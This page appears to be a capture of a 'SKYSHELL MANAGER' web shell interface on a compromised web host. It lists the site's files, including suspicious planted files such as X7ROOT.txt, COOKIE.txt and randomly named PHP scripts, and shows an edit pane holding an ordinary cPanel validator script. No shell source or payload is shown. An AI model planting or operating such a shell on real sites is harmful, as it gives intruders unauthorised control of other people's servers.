📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: validator-utils.js
/* # validator-utils.js Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /** * The module contains utility functions for validators * * @module validator-utils */ define([], function() { "use strict"; // NOTE: Having results contain multiple messages add a lot of complication to the system since // the validation system already has a system for registering multiple messages. I think we should // refactor this to remove this complication as its us is very edge case and makes renders much more // complicated. /** * The results object is used by all of the custom validator to embed response messages generated * by complex validation logic. * * @constructor */ var ValidationResult = function() { this.isValid = true; this.messages = []; this.lookup = {}; }; ValidationResult.prototype = { /** * Converts the message collection into a delimited string * * @method toString * @param {String} [delimiter] Optional delimiter, defaults to newline. * @return {String} Message from the has concatenated with delimiter separations. */ toString: function(delimiter) { delimiter = delimiter || "\n"; var message = ""; for (var i = 0, l = this.messages.length; i < l; i++) { var item = this.messages[i]; if (item && i > 0) { message += delimiter; } message += item.message; } return message; }, /** * Checks if the message collection contains an item for the given name. * * @method hasMessage * @param {String} name Name of the message set by the validator. * @return {Boolean} true if there is a message with that name, false otherwise. */ hasMessage: function(name) { var item = this.lookup[name]; return typeof (item) !== "undefined"; }, /** * Checks if the message collection contains any messages. * * @method hasMessages * @return {Boolean} [description] */ hasMessages: function() { return this.messages.length > 0; }, /** * Add a message for this validator * * @method add * @param {String} name A short name for the validation rule that triggered the message * @param {String} message The actual message text */ add: function(name, message) { var obj = { name: name, message: message }; this.messages.push(obj); this.lookup[name] = obj; // NOTE: The lookup only supports one message per name. Last message added wins. return this; }, /** * Shortcut for the "add" method when the validation message results from an error. * * @method addError * @param {String} name A short name for the validation rule that triggered the error * @param {String} message A longer description of the error * @return {ValidationResult} This object, for chaining */ addError: function(name, message) { this.add(name, message); this.isValid = false; return this; }, /** * Clear all the messages from the ValidationResult object. * * @method clear * @return {ValidationResult} This object, for chaining */ clear: function() { this.messages = []; this.lookup = {}; this.isValid = true; return this; }, /** * Gets all the messages or a single message by name. * * @method get * @param {String} [name] Optional validator name. * @return {Object|Array} * {String} .name - Name of the validator that placed the message * {String} .message - Message output by the specific validator. */ get: function(name) { if (typeof (name) === "string") { return this.lookup[name]; } else { return this.messages; } } }; /** * Attached to each ngModelDirective is an $error_details member of this type. * This collection contains the results for each validator attached to a ngModelDirective. * @constructor */ var ExtendedModelReporting = function() { this.data = []; this.lookup = {}; }; ExtendedModelReporting.prototype = { /** * Fetch the extended validation information for a given validator * * @method get * @param {String} valName Name of the validator * @return {ValidationResult} ValidationResult object for the validator. */ get: function(valName) { return this.lookup[valName]; }, /** * Set a ValidationResult for a specific validator. * * @method set * @param {String} valName Name of the validator * @param {ValidationResult} result ValidationResult object for the validator. */ set: function(valName, result) { this.data.push(result); this.lookup[valName] = result; }, /** * Remove a result for a specific validator * * @method remove * @param {String} valName Name of the validator */ remove: function(valName) { if (!this.data.length) { return; } var item = this.lookup[valName]; for (var index = this.data.length - 1; index >= 0; index--) { if (this.data[index] === item) { this.data.splice(index, 1); } } delete this.lookup[valName]; }, /** * Check if there are any results objects stored here. * * @method hasResults * @return {Boolean} true if there are results, false otherwise. */ hasResults: function() { return this.data.length > 0; }, /** * Clear the data so we can recalculate */ clear: function() { this.data = []; this.lookup = {}; } }; /** * Attached to each ngFormDirective is an $error_details member of this type. * This collection contains the results for each field and for each validator attached to a ngFormDirective. * @constructor */ var ExtendedFormReporting = function() { this.data = {}; }; ExtendedFormReporting.prototype = { /** * Fetch the results for a field and validator. * * @method get * @param {String} fieldName Name of the field. * @param {String} valName Name of the validator. * @return {ValidationResult} ValidationResult object for the validator. */ get: function(fieldName, valName) { var field = this.data[fieldName] || new ExtendedModelReporting(); if (valName) { return field.get(valName); } else { return field; } }, /** * Set the results for a field and validator. * * @method set * @param {String} fieldName Name of the field. * @param {String} valName Name of the validator. * @param {ValidationResult} ValidationResult object for the validator. */ set: function(fieldName, valName, result) { this.data[fieldName] = this.data[fieldName] || new ExtendedModelReporting(); this.data[fieldName].set(valName, result); return this; }, /** * Remove the results for a field and validator. * * @method remove * @param {String} fieldName Name of the field. * @param {String} valName Name of the validator. */ remove: function(fieldName, valName) { if (this.data[fieldName]) { this.data[fieldName].remove(valName); if (!this.data[fieldName].hasResults()) { this.data[fieldName] = null; delete this.data[fieldName]; } } } }; return { // Unit Testing Only ValidationResult: ValidationResult, ExtendedModelReporting: ExtendedModelReporting, ExtendedFormReporting: ExtendedFormReporting, // Public API /** * Helper method to create a result structure in a uniform way. * @param {Boolean} [clear] Optional, clear the same item if is true so it does not accumulate messages. * Otherwise accumulate the messages. * @return {ValidationResult} * {Boolean} .isValid - true if the results represents a valid value, false otherwise. * {Object} .messages - Hash of key/message pairs */ initializeValidationResult: function(clear) { var result = new ValidationResult(); if (clear) { result.clear = true; } return result; }, /** * Initialize the extended error reporting objects. * @param {ModelController} ctrl Model controller managing the data. * @param {FormController} [form] Optional form controller. */ initializeExtendedReporting: function(ctrl, form) { ctrl.$error_details = new ExtendedModelReporting(); if (form) { form.$error_details = new ExtendedFormReporting(); } else { if (window.console) { window.console.log("To participate in extended form validation you must have a ngForm or form around your controls with custom validation."); } } }, /** * Update a collection of possible error messages. This is use for multi-error aggregate validators. * * @param {ModelController} ctrl Model controller managing the data. * @param {FormController} [form] Optional form controller. * @param {String[]} names - List of validator names to check. * @param {ValidationResult} multiResult */ updateExtendedReportingList: function(ctrl, form, names, multiResult) { names.forEach(function(name) { var error = multiResult.lookup[name]; if (error) { var result = new ValidationResult(); result.add(error.name, error.message); this.updateExtendedReporting(multiResult.isValid, ctrl, form, name, result); } }, this); }, /** * Updates the extended reporting based on the validity of the * value for a specific field validator. * * @param {Booelan} valid true if the model is valid, false otherwise. * @param {ModelController} ctrl Model controller managing the data. * @param {FormController} [form] Optional form controller. * @param {String} name * @param {ValidationResult} result */ updateExtendedReporting: function(valid, ctrl, form, name, result) { if (!valid) { if (result.clear) { ctrl.$error_details.remove(name); if (form) { form.$error_details.remove(ctrl.$name, name); } } ctrl.$error_details.set(name, result); if (form) { form.$error_details.set(ctrl.$name, name, result); } } else { ctrl.$error_details.remove(name); if (form) { form.$error_details.remove(ctrl.$name, name); } } } }; });
Save